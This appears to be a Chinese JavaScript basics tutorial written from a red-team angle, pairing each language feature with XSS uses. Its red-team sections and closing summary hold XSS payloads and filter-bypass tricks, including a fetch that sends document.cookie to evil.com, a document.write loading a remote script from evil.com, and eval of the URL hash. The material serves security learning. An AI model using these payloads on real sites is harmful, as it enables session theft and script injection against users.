目录


一、变量与数据类型

声明方式

var oldScoped = 1; // 函数作用域,不推荐
let blockScoped = 2; // 块作用域,推荐
const immutable = 3; // 常量(但对象属性可变)
 
// var的坑:变量提升(hoisting)
console.log(x); // undefined(不是报错!)
var x = 5;

数据类型

类型示例typeof结果
Number42, 3.14, NaN, Infinity"number"
BigInt9007199254740991n"bigint"
String'hello', `template`"string"
Booleantrue, false"boolean"
Undefinedundefined"undefined"
Nullnull"object" (历史bug)
SymbolSymbol('id')"symbol"
Object{name: 'a'}, [], function(){}"object"/"function"

类型转换的坑

// 弱类型转换 —— XSS payload常利用这个
[] + [] // "" (空字符串)
[] + {} // "[object Object]"
{} + [] // 0 ({}被解析为空代码块)
1 + "2" // "12" (数字转字符串)
"2" - 1 // 1 (字符串转数字)
!!"false" // true (非空字符串为truthy)
!!0 // false (0为falsy)
 
// XSS payload常见的精简技巧
alert`` // 等同于 alert("")
(alert)(1) // 括号包裹不影响调用

二、运算符与表达式

常用运算符

// 算术
+ - * / % **
 
// 比较(XSS WAF绕过常用)
== vs === // 宽松比较 vs 严格比较
null == undefined // true
[] == false // true
"0" == false // true
 
// 逻辑(短路求值常用于精简payload)
&& || !
a && b // a为true则返回b,否则返回a
a || b // a为true则返回a,否则返回b
 
// 逗号运算符
(1, 2, 3) // 返回3 (常用于混淆)

三元运算符精简payload

// 条件 ? 真值 : 假值
1 ? alert(1) : 0; // alert(1) 执行
0 ? 1 : confirm(1); // confirm(1) 执行
 
// 嵌套三元实现if-else
a ? (b ? c() : d()) : e()

三、控制流

// 条件
if (condition) { ... }
else if { ... }
else { ... }
 
// 循环
for (let i = 0; i < 10; i++) { ... }
while (condition) { ... }
do { ... } while (condition);
 
// 遍历
for (let key in obj) { ... } // 遍历可枚举属性(含原型链)
for (let val of iterable) { ... } // 遍历可迭代对象
 
// 控制
break; // 跳出循环
continue; // 跳过本次
return; // 函数返回

四、函数

声明与调用

// 函数声明(会提升)
function add(a, b) { return a + b; }
 
// 函数表达式
const add = function(a, b) { return a + b; };
 
// 箭头函数(无自己的this)
const add = (a, b) => a + b;
const greet = name => `Hello ${name}`;
 
// 构造函数(危险:eval的亲戚)
const fn = new Function('a', 'b', 'return a + b');

红队常用函数技巧

// Function构造器 —— eval替代品
new Function('alert(1)')();
[].constructor.constructor('alert(1)')(); // 通过数组原型获取Function
 
// 间接eval
(0, eval)('alert(1)'); // 间接eval(在全局作用域执行)
window['eval']('alert(1)'); // 同上
 
// setTimeout/setInterval的字符串形式(等于eval)
setTimeout('alert(1)', 0);
setInterval('alert(1)', 1000);
 
// 利用document.write重写页面
document.write('<script src=//evil.com/exploit.js><\/script>');

五、对象与JSON

对象基础

const obj = {
 key1: 'value1',
 key2: 42,
 method() { return this.key1; },
 ['computed']: '动态键名',
};
 
// 访问方式
obj.key1 // 点号
obj['key1'] // 方括号(支持变量)
obj['__proto__'] // 直接访问原型链

JSON

JSON.stringify(obj); // 对象 → JSON字符串
JSON.stringify(obj, null, 2); // 格式化输出
JSON.parse('{"a":1}'); // JSON字符串 → 对象
 
// 安全关注:JSON.parse 不会执行JS代码!
// 但 JSONP 回调可以:callback({"user":"admin"})

关键原型方法

Object.keys(obj) // 自有可枚举属性
Object.values(obj) // 值
Object.entries(obj) // [key, value]对
Object.getOwnPropertyNames(obj) // 所有自有属性(含不可枚举)
Object.getPrototypeOf(obj) // 获取原型
Object.setPrototypeOf(obj, proto) // 设置原型(危险!)

六、数组操作

常用方法

arr.push(x) // 末尾添加
arr.pop() // 末尾移除
arr.shift() // 开头移除
arr.unshift(x) // 开头添加
arr.splice(i, n) // 删除/插入(原地修改)
arr.slice(i, j) // 浅拷贝片段
arr.concat(arr2) // 合并
arr.join(',') // 转为字符串
 
// 遍历
arr.forEach(x => console.log(x));
arr.map(x => x * 2);
arr.filter(x => x > 5);
arr.reduce((acc, x) => acc + x, 0);
arr.find(x => x > 5);
 
// 排序
arr.sort((a, b) => a - b); // 数字排序
arr.reverse();
 
// 包含判断(XSS中有用)
arr.includes(x);
arr.indexOf(x);

七、作用域与闭包

作用域链

let global = 'global';
 
function outer() {
 let outerVar = 'outer';
 
 function inner() {
 let innerVar = 'inner';
 console.log(global, outerVar, innerVar); // 全可访问
 }
 
 inner();
 // console.log(innerVar); // 报错:不可访问
}

闭包 (Closure)

function createCounter() {
 let count = 0; // 闭包捕获的变量
 return function() {
 return ++count; // 即使createCounter执行完,count仍存活
 };
}
 
const counter = createCounter();
counter(); // 1
counter(); // 2

红队应用:闭包可以隐藏恶意代码的上下文,避免变量名冲突。

八、异步编程

Callback

setTimeout(() => {
 console.log('async callback');
}, 0);
console.log('sync first'); // 先输出

Promise

fetch('https://api.example.com/data')
 .then(response => response.json())
 .then(data => console.log(data))
 .catch(err => console.error(err));

async/await

async function getData() {
 try {
 const response = await fetch('https://api.example.com/data');
 const data = await response.json();
 return data;
 } catch (err) {
 console.error(err);
 }
}

Event Loop基础

调用栈 → 微任务队列(Promise) → 宏任务队列(setTimeout)
每次清空调用栈后,先执行所有微任务,再执行一个宏任务

红队利用:利用事件循环控制payload执行时序。

九、红队视角总结

XSS Payload精简技巧

// 短小精悍的payload
onerror=alert(1) // 28 chars
eval(location.hash.slice(1)) // URL hash载入任意JS
eval(atob('YWxlcnQoMSk=')) // base64编码payload
fetch('//evil.com/?c='+document.cookie) // Cookie外泄
 
// 无字母数字payload(JSFuck风格)
[][(![]+[])[+[]]+...] // 仅用 []!+(){} 表示任意JS

核心API速查

API用途攻击向量
eval()执行字符串XSS payload入口
new Function()同上XSS绕过过滤器
setTimeout()延迟执行WAF时序绕过
document.cookie读写CookieSession窃取
document.write()写入HTMLDOM注入
window.locationURL操作重定向钓鱼
window.name跨页面数据跨域数据传递
XMLHttpRequestHTTP请求CSRF/SSRF
fetch()同上同上 + 无CORS限制

返回 JavaScript 总目录 | 前端基础总目录